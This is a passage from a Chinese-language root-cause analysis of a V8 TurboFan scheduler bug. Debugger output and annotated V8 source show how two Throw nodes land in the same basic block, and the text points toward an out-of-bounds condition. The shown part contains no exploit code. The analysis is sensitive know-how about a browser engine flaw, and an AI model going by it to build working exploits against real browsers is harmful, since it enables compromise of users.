  control_input_ = 0x0,		//control_input = 0x0
  nodes_ = {
   			//...
      }, <No data fields>}, <No data fields>},
  successors_ = {
   		// ...
      }, <No data fields>}, <No data fields>},
  predecessors_ = {
			// ...
      }, <No data fields>}, <No data fields>},
  id_ = {
    index_ = 3
  }
}

随后进入AddThrow函数，由于此时的block 3的control_=kNone，所以能通过检查。然后将block的control_设置为kThrow，将control_input_设置为Throw 110节点，并将基本块3 与 end块双向连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
In file: /home/alex/v8/v8/src/compiler/schedule.cc
   295 
   296 void Schedule::AddThrow(BasicBlock* block, Node* input) {
   297   DCHECK_EQ(BasicBlock::kNone, block->control());
   298   block->set_control(BasicBlock::kThrow);
   299   SetControlInput(block, input);
 ► 300   if (block != end()) AddSuccessor(block, end());
   301 }
   302 
   303 void Schedule::InsertBranch(BasicBlock* block, BasicBlock* end, Node* branch,
   304                             BasicBlock* tblock, BasicBlock* fblock) {
   305   DCHECK_NE(BasicBlock::kNone, block->control());

pwndbg> p *(BasicBlock*)block
$70 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::BasicBlock:
  loop_number_ = -1,
  rpo_number_ = -1,
  deferred_ = false,
  dominator_depth_ = -1,
  dominator_ = 0x0,
  rpo_next_ = 0x0,
  loop_header_ = 0x0,
  loop_end_ = 0x0,
  loop_depth_ = 0,
  control_ = v8::internal::compiler::BasicBlock::kThrow,
  control_input_ = 0x56213f050b20,
  nodes_ = {
    	// ...
      }, <No data fields>}, <No data fields>},
  successors_ = {
   		// ...
      }, <No data fields>}, <No data fields>},
  predecessors_ = {
   		// ...
      }, <No data fields>}, <No data fields>},
  id_ = {
    index_ = 3
  }
}

自此，完成了对Throw 110节点的处理，还没有引发崩溃。但是，接着调试会发现还会处理另一个Throw 159节点，且该节点获取的throw_control节点和throw_block块和Throw 110节点相同。这里还可以发现此时throw_block的control_和control_input_属性在处理Throw 110节点时就已经被设置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
In file: /home/alex/v8/v8/src/compiler/scheduler.cc
   564   }
   565 
   566   void ConnectThrow(Node* thr) {
   567     Node* throw_control = NodeProperties::GetControlInput(thr);
   568     BasicBlock* throw_block = FindPredecessorBlock(throw_control);
 ► 569     TraceConnect(thr, throw_block, nullptr);
   570     schedule_->AddThrow(throw_block, thr);
   571   }
   572 
   573   void TraceConnect(Node* node, BasicBlock* block, BasicBlock* succ) {
   574     DCHECK_NOT_NULL(block);


pwndbg> p *(Node*)thr
$71 = {
  static kOutlineMarker = 15,
  static kMaxInlineCapacity = 14,
  op_ = 0x56213d96c2f8 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+288>,
  type_ = {
    payload_ = 0
  },
  mark_ = 47,
  bit_field_ = 838860959,	//id=159
  first_use_ = 0x56213f06e308
}
pwndbg> p *(Operator*)(*(Node*)thr).op_
$72 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::Operator:
  _vptr$Operator = 0x56213d91f750 <vtable for v8::internal::compiler::CommonOperatorGlobalCache::ThrowOperator+16>,
  mnemonic_ = 0x56213c93492a "Throw",
  opcode_ = 21,
  properties_ = {
    mask_ = 120 'x'
  },
  value_in_ = 0,
  effect_in_ = 1,
  control_in_ = 1,
  value_out_ = 0,
  effect_out_ = 0 '\000',
  control_out_ = 1
}

pwndbg> p *(Operator*)(*(Node*)throw_control).op_
value has been optimized out
pwndbg> p *(Node*)0x56213f04ce18
$73 = {
  static kOutlineMarker = 15,
  static kMaxInlineCapacity = 14,
  op_ = 0x56213d96c268 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+144>,
  type_ = {
    payload_ = 0
  },
  mark_ = 47,
  bit_field_ = 285212737,	//id=65
  first_use_ = 0x56213f055080
}
pwndbg> p *(Operator*)(*(Node*)0x56213f04ce18).op_
$74 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::Operator:
  _vptr$Operator = 0x56213d91f6a8 <vtable for v8::internal::compiler::CommonOperatorGlobalCache::IfFalseOperator+16>,
  mnemonic_ = 0x56213c966530 "IfFalse",
  opcode_ = 5,
  properties_ = {
    mask_ = 120 'x'
  },
  value_in_ = 0,
  effect_in_ = 0,
  control_in_ = 1,
  value_out_ = 0,
  effect_out_ = 0 '\000',
  control_out_ = 1
}

pwndbg> p *(BasicBlock*)throw_block
$75 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::BasicBlock:
  loop_number_ = -1,
  rpo_number_ = -1,
  deferred_ = false,
  dominator_depth_ = -1,
  dominator_ = 0x0,
  rpo_next_ = 0x0,
  loop_header_ = 0x0,
  loop_end_ = 0x0,
  loop_depth_ = 0,
  control_ = v8::internal::compiler::BasicBlock::kThrow,	//control_ = kThrow
  control_input_ = 0x56213f050b20,	//control_input_ = Throw 110
  nodes_ = {
    	// ...
      }, <No data fields>}, <No data fields>},
  successors_ = {
   		// ...
      }, <No data fields>}, <No data fields>},
  predecessors_ = {
   		// ...
      }, <No data fields>}, <No data fields>},
  id_ = {
    index_ = 3
  }
}

进入AddThrow函数，如果是Debug版本这里由于block 3的control_已经被设置为kThrow，不等于kNone，那么就会报错。如果是release版本就不会有问题，就会再次设置block 3的control_ = kThrow，设置control_input_ = Throw 159。并且会设置Throw 159节点到block 3的映射，再次设置block 3和end基本块的双向边。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
In file: /home/alex/v8/v8/src/compiler/schedule.cc
   295 
   296 void Schedule::AddThrow(BasicBlock* block, Node* input) {
   297   DCHECK_EQ(BasicBlock::kNone, block->control());
   298   block->set_control(BasicBlock::kThrow);
   299   SetControlInput(block, input);
 ► 300   if (block != end()) AddSuccessor(block, end());
   301 }
   302 
   303 void Schedule::InsertBranch(BasicBlock* block, BasicBlock* end, Node* branch,
   304                             BasicBlock* tblock, BasicBlock* fblock) {
   305   DCHECK_NE(BasicBlock::kNone, block->control());

pwndbg> p *(BasicBlock*)block
$81 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::BasicBlock:
  loop_number_ = -1,
  rpo_number_ = -1,
  deferred_ = false,
  dominator_depth_ = -1,
  dominator_ = 0x0,
  rpo_next_ = 0x0,
  loop_header_ = 0x0,
  loop_end_ = 0x0,
  loop_depth_ = 0,
  control_ = v8::internal::compiler::BasicBlock::kThrow,
  control_input_ = 0x56213f0550b0,		//control_input_ = throw 159
  nodes_ = {
			// ...
      }, <No data fields>}, <No data fields>},
  successors_ = {
			// ...
      }, <No data fields>}, <No data fields>},
  predecessors_ = {
			// ...
      }, <No data fields>}, <No data fields>},
  id_ = {
    index_ = 3
  }

总结：由于Terminate 110节点被在前面Inlining Phase阶段被替换为了110 Throw节点，导致其在BuildCFG与159 Throw节点拥有相同的前驱节点65 IfFalse，则使得这两个节点都被分配到了block 3，并且对block 3进行了两次control_和control_input_赋值，构建了两次block 3和end节点的双向边，也使得110 Throw和159 Throw节点都可以索引得到Block 3。

这里，可以看到最终生成的节点图如下所示：

image-20220221191300481

现在，我们分析清楚了POC1为什么会在DCHECK处报错。那么接着对POC2是如何实现OOB进行分析。

ComputeSpecialRPONumbering

根据BuildCFG创建的CFG，计算每个节点的逆后序，最终返回一个逆后序排列的BlockVector。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void Scheduler::ComputeSpecialRPONumbering() {
  TRACE("--- COMPUTING SPECIAL RPO ----------------------------------\n");

  // Compute the special reverse-post-order for basic blocks.
  special_rpo_ = new (zone_) SpecialRPONumberer(zone_, schedule_);
  special_rpo_->ComputeSpecialRPO();
}

BasicBlockVector* Scheduler::ComputeSpecialRPO(Zone* zone, Schedule* schedule) {
  SpecialRPONumberer numberer(zone, schedule);
  numberer.ComputeSpecialRPO();
  numberer.SerializeRPOIntoSchedule();
  numberer.PrintAndVerifySpecialRPO();
  return schedule->rpo_order();
}

// Serialize the previously computed order as a special reverse-post-order
// numbering for basic blocks into the final schedule.
void SerializeRPOIntoSchedule() {
  int32_t number = 0;
  for (BasicBlock* b = order_; b != nullptr; b = b->rpo_next()) {
    b->set_rpo_number(number++);
    schedule_->rpo_order()->push_back(b);
  }
  BeyondEndSentinel()->set_rpo_number(number);
}
GenerateDominatorTree

如果从流图的入口节点到节节点n的每条路径都经过节点 d，则称节点 d 支配(dominator) n，记为 d dom n。而 Immediate Block Dominators 是指 n 的支配节点中离 n 最近的节点。

生成直接支配节点树，方法就是按照逆后序遍历基本块，对没一个基本块的前驱节点进行遍历，比较每个前驱节点的深度，最终得到深度最小的前驱节点作为直接支配节点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void Scheduler::GenerateDominatorTree() {
  TRACE("--- IMMEDIATE BLOCK DOMINATORS -----------------------------\n");
  GenerateDominatorTree(schedule_);
}

void Scheduler::GenerateDominatorTree(Schedule* schedule) {
  // Seed start block to be the first dominator.
  // 将开始节点设置为第一个支配节点
  schedule->start()->set_dominator_depth(0);

  // Build the block dominator tree resulting from the above seed.
  //构建节点的支配节点树
  PropagateImmediateDominators(schedule->start()->rpo_next());
}

void Scheduler::PropagateImmediateDominators(BasicBlock* block) {
  //逆后序遍历节点
  for (/*nop*/; block != nullptr; block = block->rpo_next()) {
    auto pred = block->predecessors().begin();
    auto end = block->predecessors().end();
    DCHECK(pred != end);  // All blocks except start have predecessors.
    BasicBlock* dominator = *pred;
    bool deferred = dominator->deferred();
    // For multiple predecessors, walk up the dominator tree until a common
    // dominator is found. Visitation order guarantees that all predecessors
    // except for backwards edges have been visited.
    //对于多个前驱节点，遍历所有的前驱节点，直到取到深度最大的前驱节点
    for (++pred; pred != end; ++pred) {
      // Don't examine backwards edges.
      if ((*pred)->dominator_depth() < 0) continue;
      //比较当前节点和其前驱节点的深度，返回深度最小的作为dominator
      dominator = BasicBlock::GetCommonDominator(dominator, *pred);
      deferred = deferred & (*pred)->deferred();
    }
    //设置block的直接支配节点
    block->set_dominator(dominator);
    //设置节点的深度
    block->set_dominator_depth(dominator->dominator_depth() + 1);
    block->set_deferred(deferred | block->deferred());
    TRACE("Block id:%d's idom is id:%d, depth = %d\n", block->id().ToInt(),
          dominator->id().ToInt(), block->dominator_depth());
  }
}

// static
BasicBlock* BasicBlock::GetCommonDominator(BasicBlock* b1, BasicBlock* b2) {
  //返回深度更小的前驱基本块
  while (b1 != b2) {
    if (b1->dominator_depth() < b2->dominator_depth()) {
      b2 = b2->dominator();
    } else {
      b1 = b1->dominator();
    }
  }
  return b1;
}
PrepareUses

计算每个节点的使用次数Uses，保证每个节点的使用都被放在节点之前。这里计算的节点使用次数，将会在SchduleLate中被依次抵消。

从end节点开始遍历节点图，对于状态为kFixed节点标记为root节点，对于其中尚未分配基本块的节点将其添加到control_input对应的基本块中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
void Scheduler::PrepareUses() {
  TRACE("--- PREPARE USES -------------------------------------------\n");

  // Count the uses of every node, which is used to ensure that all of a
  // node's uses are scheduled before the node itself.
  PrepareUsesVisitor prepare_uses(this);

  // TODO(turbofan): simplify the careful pre/post ordering here.
  //表示节点是否被访问
  BoolVector visited(graph_->NodeCount(), false, zone_);
  ZoneStack<Node::InputEdges::iterator> stack(zone_);
  Node* node = graph_->end();
  //预处理节点
  prepare_uses.Pre(node);
  visited[node->id()] = true;
  //将节点的第一个输入边压入
  stack.push(node->input_edges().begin());
  while (!stack.empty()) {
    tick_counter_->DoTick();
    //从栈顶开始处理
    Edge edge = *stack.top();
    //边的目的节点
    Node* node = edge.to();
		//若该节点被访问
    if (visited[node->id()]) {
      //则判断该节点的类型，然后增加该节点的使用次数
      prepare_uses.PostEdge(edge.from(), edge.index(), edge.to());
      if (++stack.top() == edge.from()->input_edges().end()) stack.pop();
    } 
    //若该节点没有被访问
    else {
      //则对该节点进行预处理
      prepare_uses.Pre(node);
      visited[node->id()] = true;
      //如果节点仍有的输入边，继续压入输入边
      if (node->InputCount() > 0) stack.push(node->input_edges().begin());
    }
  }
}

class PrepareUsesVisitor {
 public:
  explicit PrepareUsesVisitor(Scheduler* scheduler)
      : scheduler_(scheduler), schedule_(scheduler->schedule_) {}

  void Pre(Node* node) {
    //如果是kFixed节点，则放入root节点
    if (scheduler_->InitializePlacement(node) == Scheduler::kFixed) {
      // Fixed nodes are always roots for schedule late.
      scheduler_->schedule_root_nodes_.push_back(node);
      //如果根节点没有被放入基本块中，则将其放入基本块中
      if (!schedule_->IsScheduled(node)) {
        // Make sure root nodes are scheduled in their respective blocks.
        TRACE("Scheduling fixed position node #%d:%s\n", node->id(),
              node->op()->mnemonic());
        //获取节点类型
        IrOpcode::Value opcode = node->opcode();
        //如果是kParameter则被放入Start基本块，否则放入根据节点的ControlInput得到基本块
        BasicBlock* block =
            opcode == IrOpcode::kParameter
                ? schedule_->start()
                : schedule_->block(NodeProperties::GetControlInput(node));
        DCHECK_NOT_NULL(block);
        //向基本块中增加根节点
        schedule_->AddNode(block, node);
      }
    }
  }

  void PostEdge(Node* from, int index, Node* to) {
    // If the edge is from an unscheduled node, then tally it in the use count
    // for all of its inputs. The same criterion will be used in ScheduleLate
    // for decrementing use counts.
    //如果该边的源节点也没有被处理
    if (!schedule_->IsScheduled(from)) {
      DCHECK_NE(Scheduler::kFixed, scheduler_->GetPlacement(from));
      //递归处理该源节点
      scheduler_->IncrementUnscheduledUseCount(to, index, from);
    }
  }

 private:
  Scheduler* scheduler_;
  Schedule* schedule_;
};


//节点是否被放入基本块中
bool Schedule::IsScheduled(Node* node) {
  if (node->id() >= nodeid_to_block_.size()) return false;
  return nodeid_to_block_[node->id()] != nullptr;
}

void Scheduler::IncrementUnscheduledUseCount(Node* node, int index,
                                             Node* from) {
  // Make sure that control edges from coupled nodes are not counted.
  // 保证被聚合的节点的控制边没有被计数
  if (IsCoupledControlEdge(from, index)) return;

  // Tracking use counts for fixed nodes is useless.
  // 不需要对kFixed节点计数
  if (GetPlacement(node) == kFixed) return;

  // Use count for coupled nodes is summed up on their control.
  // 若节点的使用属性是kCoupled
  if (GetPlacement(node) == kCoupled) {
    // 获取该节点的control输入节点
    Node* control = NodeProperties::GetControlInput(node);
    // 则前向获取Control_input节点，对该节点进行使用计数
    return IncrementUnscheduledUseCount(control, index, from);
  }
	//增加节点的未处理使用次数
  ++(GetData(node)->unscheduled_count_);
  if (FLAG_trace_turbo_scheduler) {
    TRACE("  Use count of #%d:%s (used by #%d:%s)++ = %d\n", node->id(),
          node->op()->mnemonic(), from->id(), from->op()->mnemonic(),
          GetData(node)->unscheduled_count_);
  }
}
ScheduleEarly

将每个节点放置在最小基本块内，保证每个节点都会被放在最早可以出现的位置。首先遍历根节点，将根节点放入queue_中，然后调用VisitNode访问根节点，并将其当前的schedule位置传播给其所有的uses。而在传播时，又会判断use节点的深度是否比当前最小基本块深度更深，若更深则继续向后遍历传播位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
void Scheduler::ScheduleEarly() {
  TRACE("--- SCHEDULE EARLY -----------------------------------------\n");
  if (FLAG_trace_turbo_scheduler) {
    TRACE("roots: ");
    for (Node* node : schedule_root_nodes_) {
      TRACE("#%d:%s ", node->id(), node->op()->mnemonic());
    }
    TRACE("\n");
  }

  // Compute the minimum block for each node thereby determining the earliest
  // position each node could be placed within a valid schedule.
  //计算每个节点的最小块，保证每个节点可以被放置在最早可以出现的位置
  ScheduleEarlyNodeVisitor schedule_early_visitor(zone_, this);
  schedule_early_visitor.Run(&schedule_root_nodes_);
}

// Run the schedule early algorithm on a set of fixed root nodes.
void Run(NodeVector* roots) {
  //遍历根节点
  for (Node* const root : *roots) {
    queue_.push(root);
    while (!queue_.empty()) {
      scheduler_->tick_counter_->DoTick();
      //
      VisitNode(queue_.front());
      queue_.pop();
    }
  }
}

// Visits one node from the queue and propagates its current schedule early
// position to all uses. This in turn might push more nodes onto the queue.
// 访问queue中的节点，并将其当前schedule位置传播给其uses
void VisitNode(Node* node) {
  Scheduler::SchedulerData* data = scheduler_->GetData(node);

  // Fixed nodes already know their schedule early position.
  // 如果是Fixed节点则已经确定其最小基本块
  if (scheduler_->GetPlacement(node) == Scheduler::kFixed) {
    data->minimum_block_ = schedule_->block(node);
    TRACE("Fixing #%d:%s minimum_block = id:%d, dominator_depth = %d\n",
          node->id(), node->op()->mnemonic(),
          data->minimum_block_->id().ToInt(),
          data->minimum_block_->dominator_depth());
  }

  // No need to propagate unconstrained schedule early positions.
  // 如果最小基本块是start块，则不需要传播约束
  if (data->minimum_block_ == schedule_->start()) return;

  // Propagate schedule early position.
  DCHECK_NOT_NULL(data->minimum_block_);
  for (auto use : node->uses()) {
    if (scheduler_->IsLive(use)) {
      // 传播其最小基本块到其使用节点
      PropagateMinimumPositionToNode(data->minimum_block_, use);
    }
  }
}

// Propagates {block} as another minimum position into the given {node}. This
// has the net effect of computing the minimum dominator block of {node} that
// still post-dominates all inputs to {node} when the queue is processed.
// 将{block}作为另一个最小位置传播到给定的{node}。这样做的净效果是计算{node}的最小支配块，当队列被处理时，该块仍然对{node}的所有输入进行后期支配
void PropagateMinimumPositionToNode(BasicBlock* block, Node* node) {
  Scheduler::SchedulerData* data = scheduler_->GetData(node);

  // No need to propagate to fixed node, it's guaranteed to be a root.
  // Fixed节点不需要传播
  if (scheduler_->GetPlacement(node) == Scheduler::kFixed) return;

  // Coupled nodes influence schedule early position of their control.
  // Coupled节点需要传播到其Control_input节点
  if (scheduler_->GetPlacement(node) == Scheduler::kCoupled) {
    Node* control = NodeProperties::GetControlInput(node);
    PropagateMinimumPositionToNode(block, control);
  }

  // Propagate new position if it is deeper down the dominator tree than the
  // current. Note that all inputs need to have minimum block position inside
  // the dominator chain of {node}'s minimum block position.
  // 如果新位置比当前支配树位置更深，则传播新位置。保证所有输入都需要在{node}的最小块位置的支配链内具有最小块位置
  DCHECK(InsideSameDominatorChain(block, data->minimum_block_));
  if (block->dominator_depth() > data->minimum_block_->dominator_depth()) {
    data->minimum_block_ = block;
    queue_.push(node);
    TRACE("Propagating #%d:%s minimum_block = id:%d, dominator_depth = %d\n",
          node->id(), node->op()->mnemonic(),
          data->minimum_block_->id().ToInt(),
          data->minimum_block_->dominator_depth());
  }
}

Visits one node from the queue and propagates its current schedule early position to all uses. This in turn might push more nodes onto the queue.
ScheduleLate

将节点放入所有use节点的支配树中，遍历根节点的input节点检查其是否能从循环结构中提前，并且最终完成节点与block的映射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
void Scheduler::ScheduleLate() {
  TRACE("--- SCHEDULE LATE ------------------------------------------\n");
  if (FLAG_trace_turbo_scheduler) {
    TRACE("roots: ");
    for (Node* node : schedule_root_nodes_) {
      TRACE("#%d:%s ", node->id(), node->op()->mnemonic());
    }
    TRACE("\n");
  }

  // Schedule: Places nodes in dominator block of all their uses.
  // 将节点放入其所有use节点的支配树中
  ScheduleLateNodeVisitor schedule_late_visitor(zone_, this);
  schedule_late_visitor.Run(&schedule_root_nodes_);
}

// Run the schedule late algorithm on a set of fixed root nodes.
void Run(NodeVector* roots) {
  for (Node* const root : *roots) {
    ProcessQueue(root);
  }
}

void ProcessQueue(Node* root) {
  ZoneQueue<Node*>* queue = &(scheduler_->schedule_queue_);
  // 处理根节点的input节点
  for (Node* node : root->inputs()) {
    // Don't schedule coupled nodes on their own.
    // 不处理coupled节点，而是处理其control_input节点
    if (scheduler_->GetPlacement(node) == Scheduler::kCoupled) {
      node = NodeProperties::GetControlInput(node);
    }

    // Test schedulability condition by looking at unscheduled use count.
    // 必须保证该use节点也被scheduled
    if (scheduler_->GetData(node)->unscheduled_count_ != 0) continue;
		// 压入use节点
    queue->push(node);
    do {
      scheduler_->tick_counter_->DoTick();
      Node* const node = queue->front();
      queue->pop();
      //访问节点，将当前节点的最小基本块进行传播
      VisitNode(node);
    } while (!queue->empty());
  }
}

// Visits one node from the queue of schedulable nodes and determines its
// schedule late position. Also hoists nodes out of loops to find a more
// optimal scheduling position.
// 将循环结构中的节点进行优化提前（参考代码移动内容），并完成节点与block的映射
void VisitNode(Node* node) {
  DCHECK_EQ(0, scheduler_->GetData(node)->unscheduled_count_);

  // Don't schedule nodes that are already scheduled.
  // 跳过已被schedule的节点
  if (schedule_->IsScheduled(node)) return;
  DCHECK_EQ(Scheduler::kSchedulable, scheduler_->GetPlacement(node));

  // Determine the dominating block for all of the uses of this node. It is
  // the latest block that this node can be scheduled in.
  TRACE("Scheduling #%d:%s\n", node->id(), node->op()->mnemonic());
  // 获取所有use节点的共同的深度最小的前驱基本块，作为共同的支配基本块
  BasicBlock* block = GetCommonDominatorOfUses(node);
  DCHECK_NOT_NULL(block);

  // The schedule early block dominates the schedule late block.
  // 由Schedule early的 基本块来决定 schedule late的基本块
  BasicBlock* min_block = scheduler_->GetData(node)->minimum_block_;
  DCHECK_EQ(min_block, BasicBlock::GetCommonDominator(block, min_block));
  TRACE(
    "Schedule late of #%d:%s is id:%d at loop depth %d, minimum = id:%d\n",
    node->id(), node->op()->mnemonic(), block->id().ToInt(),
    block->loop_depth(), min_block->id().ToInt());

  // Hoist nodes out of loops if possible. Nodes can be hoisted iteratively
  // into enclosing loop pre-headers until they would precede their schedule
  // early position.
  // 这里是得到循环结构中唯一的出循环结构的基本块，这里可以参考编译原理代码优化代码前移部分
  BasicBlock* hoist_block = GetHoistBlock(block);
  if (hoist_block &&
      hoist_block->dominator_depth() >= min_block->dominator_depth()) {
    do {
      TRACE("  hoisting #%d:%s to block id:%d\n", node->id(),
            node->op()->mnemonic(), hoist_block->id().ToInt());
      DCHECK_LT(hoist_block->loop_depth(), block->loop_depth());
      block = hoist_block;
      hoist_block = GetHoistBlock(hoist_block);
    } while (hoist_block &&
             hoist_block->dominator_depth() >= min_block->dominator_depth());
  } else if (scheduler_->flags_ & Scheduler::kSplitNodes) {
    // Split the {node} if beneficial and return the new {block} for it.
    // 切割基本块
    block = SplitNode(block, node);
  }

  // Schedule the node or a floating control structure.
  if (IrOpcode::IsMergeOpcode(node->opcode())) {
    // 如果是Merge节点再次对其进行schedule
    ScheduleFloatingControl(block, node);
  } else if (node->opcode() == IrOpcode::kFinishRegion) {
    // 将region节点与effect链连接
    ScheduleRegion(block, node);
  } else {
    //建立节点与block的映射
    ScheduleNode(block, node);
  }
}
//获取所有use节点的深度最小的前驱基本块
BasicBlock* GetCommonDominatorOfUses(Node* node) {
  BasicBlock* block = nullptr;
  for (Edge edge : node->use_edges()) {
    if (!scheduler_->IsLive(edge.from())) continue;
    BasicBlock* use_block = GetBlockForUse(edge);
    block = block == nullptr
      ? use_block
      : use_block == nullptr
        ? block
        : BasicBlock::GetCommonDominator(block, use_block);
  }
  return block;
}

BasicBlock* GetHoistBlock(BasicBlock* block) {
  if (block->IsLoopHeader()) return block->dominator();
  // We have to check to make sure that the {block} dominates all
  // of the outgoing blocks.  If it doesn't, then there is a path
  // out of the loop which does not execute this {block}, so we
  // can't hoist operations from this {block} out of the loop, as
  // that would introduce additional computations.
  // 保证一个基本块支配循环结构的所有出的基本块
  if (BasicBlock* header_block = block->loop_header()) {
    for (BasicBlock* outgoing_block :
         scheduler_->special_rpo_->GetOutgoingBlocks(header_block)) {
      if (BasicBlock::GetCommonDominator(block, outgoing_block) != block) {
        return nullptr;
      }
    }
    return header_block->dominator();
  }
  return nullptr;
}
// 再次进行控制流聚合前的 schedule
void Scheduler::FuseFloatingControl(BasicBlock* block, Node* node) {
  TRACE("--- FUSE FLOATING CONTROL ----------------------------------\n");
  if (FLAG_trace_turbo_scheduler) {
    StdoutStream{} << "Schedule before control flow fusion:\n" << *schedule_;
  }

  // Iterate on phase 1: Build control-flow graph.
  control_flow_builder_->Run(block, node);

  // Iterate on phase 2: Compute special RPO and dominator tree.
  special_rpo_->UpdateSpecialRPO(block, schedule_->block(node));
  // TODO(turbofan): Currently "iterate on" means "re-run". Fix that.
  for (BasicBlock* b = block->rpo_next(); b != nullptr; b = b->rpo_next()) {
    b->set_dominator_depth(-1);
    b->set_dominator(nullptr);
  }
  // 
  PropagateImmediateDominators(block->rpo_next());

  // Iterate on phase 4: Schedule nodes early.
  // TODO(turbofan): The following loop gathering the propagation roots is a
  // temporary solution and should be merged into the rest of the scheduler as
  // soon as the approach settled for all floating loops.
  NodeVector propagation_roots(control_flow_builder_->control_);
  for (Node* node : control_flow_builder_->control_) {
    for (Node* use : node->uses()) {
      if (NodeProperties::IsPhi(use) && IsLive(use)) {
        propagation_roots.push_back(use);
      }
    }
  }
  if (FLAG_trace_turbo_scheduler) {
    TRACE("propagation roots: ");
    for (Node* node : propagation_roots) {
      TRACE("#%d:%s ", node->id(), node->op()->mnemonic());
    }
    TRACE("\n");
  }
  ScheduleEarlyNodeVisitor schedule_early_visitor(zone_, this);
  schedule_early_visitor.Run(&propagation_roots);

  // Move previously planned nodes.
  // TODO(turbofan): Improve that by supporting bulk moves.
  scheduled_nodes_.resize(schedule_->BasicBlockCount());
  MovePlannedNodes(block, schedule_->block(node));

  if (FLAG_trace_turbo_scheduler) {
    StdoutStream{} << "Schedule after control flow fusion:\n" << *schedule_;
  }
}
// 将region节点与effect链连接
void ScheduleRegion(BasicBlock* block, Node* region_end) {
  // We only allow regions of instructions connected into a linear
  // effect chain. The only value allowed to be produced by a node
  // in the chain must be the value consumed by the FinishRegion node.

  // We schedule back to front; we first schedule FinishRegion.
  CHECK_EQ(IrOpcode::kFinishRegion, region_end->opcode());
  ScheduleNode(block, region_end);

  // Schedule the chain.
  Node* node = NodeProperties::GetEffectInput(region_end);
  while (node->opcode() != IrOpcode::kBeginRegion) {
    DCHECK_EQ(0, scheduler_->GetData(node)->unscheduled_count_);
    DCHECK_EQ(1, node->op()->EffectInputCount());
    DCHECK_EQ(1, node->op()->EffectOutputCount());
    DCHECK_EQ(0, node->op()->ControlOutputCount());
    // The value output (if there is any) must be consumed
    // by the EndRegion node.
    DCHECK(node->op()->ValueOutputCount() == 0 ||
           node == region_end->InputAt(0));
    ScheduleNode(block, node);
    node = NodeProperties::GetEffectInput(node);
  }
  // Schedule the BeginRegion node.
  DCHECK_EQ(0, scheduler_->GetData(node)->unscheduled_count_);
  ScheduleNode(block, node);
}

void ScheduleNode(BasicBlock* block, Node* node) {
  //创建节点与block的映射
  schedule_->PlanNode(block, node);
  size_t block_id = block->id().ToSize();
  if (!scheduler_->scheduled_nodes_[block_id]) {
    scheduler_->scheduled_nodes_[block_id] =
      new (zone_->New(sizeof(NodeVector))) NodeVector(zone_);
  }
  scheduler_->scheduled_nodes_[block_id]->push_back(node);
  scheduler_->UpdatePlacement(node, Scheduler::kScheduled);
}
// 创建节点与block的映射
void Schedule::PlanNode(BasicBlock* block, Node* node) {
  if (FLAG_trace_turbo_scheduler) {
    StdoutStream{} << "Planning #" << node->id() << ":"
                   << node->op()->mnemonic() << " for future add to B"
                   << block->id() << "\n";
  }
  DCHECK_NULL(this->block(node));
  SetBlockForNode(block, node);
SealFinalSchedule

根据节点和基本块的映射，逆后序访问节点将其依次加到最终的基本块中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void Scheduler::SealFinalSchedule() {
  TRACE("--- SEAL FINAL SCHEDULE ------------------------------------\n");

  // Serialize the assembly order and reverse-post-order numbering.
  special_rpo_->SerializeRPOIntoSchedule();
